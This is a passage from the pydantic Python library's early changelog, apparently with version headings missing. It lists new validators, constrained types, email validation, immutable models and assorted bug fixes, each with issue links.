  * fix parse error of `parse_date()` and `parse_datetime()` when input is 0 [#144](https://github.com/pydantic/pydantic/issues/144), thanks [@YannLuo](https://github.com/YannLuo)
  * add `Config.anystr_strip_whitespace` and `strip_whitespace` kwarg to `constr`,
    by default values is `False` [#163](https://github.com/pydantic/pydantic/issues/163), thanks [@Gr1N](https://github.com/Gr1N)
  * add `ConstrainedFloat`, `confloat`, `PositiveFloat` and `NegativeFloat` types [#166](https://github.com/pydantic/pydantic/issues/166), thanks [@Gr1N](https://github.com/Gr1N)



  * fix type annotation for `inherit_config` [#139](https://github.com/pydantic/pydantic/issues/139)
  * **breaking change**: check for invalid field names in validators [#140](https://github.com/pydantic/pydantic/issues/140)
  * validate attributes of parent models [#141](https://github.com/pydantic/pydantic/issues/141)
  * **breaking change**: email validation now uses
    [email-validator](https://github.com/JoshData/python-email-validator) [#142](https://github.com/pydantic/pydantic/issues/142)



  * fix bug with `create_model` modifying the base class



  * added compatibility with abstract base classes (ABCs) [#123](https://github.com/pydantic/pydantic/issues/123)
  * add `create_model` method [#113](https://github.com/pydantic/pydantic/issues/113) [#125](https://github.com/pydantic/pydantic/issues/125)
  * **breaking change**: rename `.config` to `.__config__` on a model
  * **breaking change**: remove deprecated `.values()` on a model, use `.dict()` instead
  * remove use of `OrderedDict` and use simple dict [#126](https://github.com/pydantic/pydantic/issues/126)
  * add `Config.use_enum_values` [#127](https://github.com/pydantic/pydantic/issues/127)
  * add wildcard validators of the form `@validate('*')` [#128](https://github.com/pydantic/pydantic/issues/128)



  * allow Python date and times objects [#122](https://github.com/pydantic/pydantic/issues/122)



  * fix direct install without `README.rst` present



  * errors for invalid validator use
  * safer check for complex models in `Settings`



  * prevent duplicate validators, [#101](https://github.com/pydantic/pydantic/issues/101)
  * add `always` kwarg to validators, [#102](https://github.com/pydantic/pydantic/issues/102)



  * assignment validation [#94](https://github.com/pydantic/pydantic/issues/94), thanks petroswork!
  * JSON in environment variables for complex types, [#96](https://github.com/pydantic/pydantic/issues/96)
  * add `validator` decorators for complex validation, [#97](https://github.com/pydantic/pydantic/issues/97)
  * depreciate `values(...)` and replace with `.dict(...)`, [#99](https://github.com/pydantic/pydantic/issues/99)



  * add `UUID` validation [#89](https://github.com/pydantic/pydantic/issues/89)
  * remove `index` and `track` from error object (json) if they're null [#90](https://github.com/pydantic/pydantic/issues/90)
  * improve the error text when a list is provided rather than a dict [#90](https://github.com/pydantic/pydantic/issues/90)
  * add benchmarks table to docs [#91](https://github.com/pydantic/pydantic/issues/91)



  * show length in string validation error
  * fix aliases in config during inheritance [#55](https://github.com/pydantic/pydantic/issues/55)
  * simplify error display
  * use unicode ellipsis in `truncate`
  * add `parse_obj`, `parse_raw` and `parse_file` helper functions [#58](https://github.com/pydantic/pydantic/issues/58)
  * switch annotation only fields to come first in fields list not last



  * immutable models via `config.allow_mutation = False`, associated cleanup and performance improvement [#44](https://github.com/pydantic/pydantic/issues/44)
  * immutable helper methods `construct()` and `copy()` [#53](https://github.com/pydantic/pydantic/issues/53)
  * allow pickling of models [#53](https://github.com/pydantic/pydantic/issues/53)
  * `setattr` is removed as `__setattr__` is now intelligent [#44](https://github.com/pydantic/pydantic/issues/44)
  * `raise_exception` removed, Models now always raise exceptions [#44](https://github.com/pydantic/pydantic/issues/44)
  * instance method validators removed
  * django-restful-framework benchmarks added [#47](https://github.com/pydantic/pydantic/issues/47)
  * fix inheritance bug [#49](https://github.com/pydantic/pydantic/issues/49)
  * make str type stricter so list, dict etc are not coerced to strings. [#52](https://github.com/pydantic/pydantic/issues/52)
  * add `StrictStr` which only always strings as input [#52](https://github.com/pydantic/pydantic/issues/52)



  * pypi and travis together messed up the deploy of `v0.2` this should fix it



  * **breaking change**: `values()` on a model is now a method not a property,
    takes `include` and `exclude` arguments
  * allow annotation only fields to support mypy
  * add pretty `to_string(pretty=True)` method for models



  * add docs
  * add history


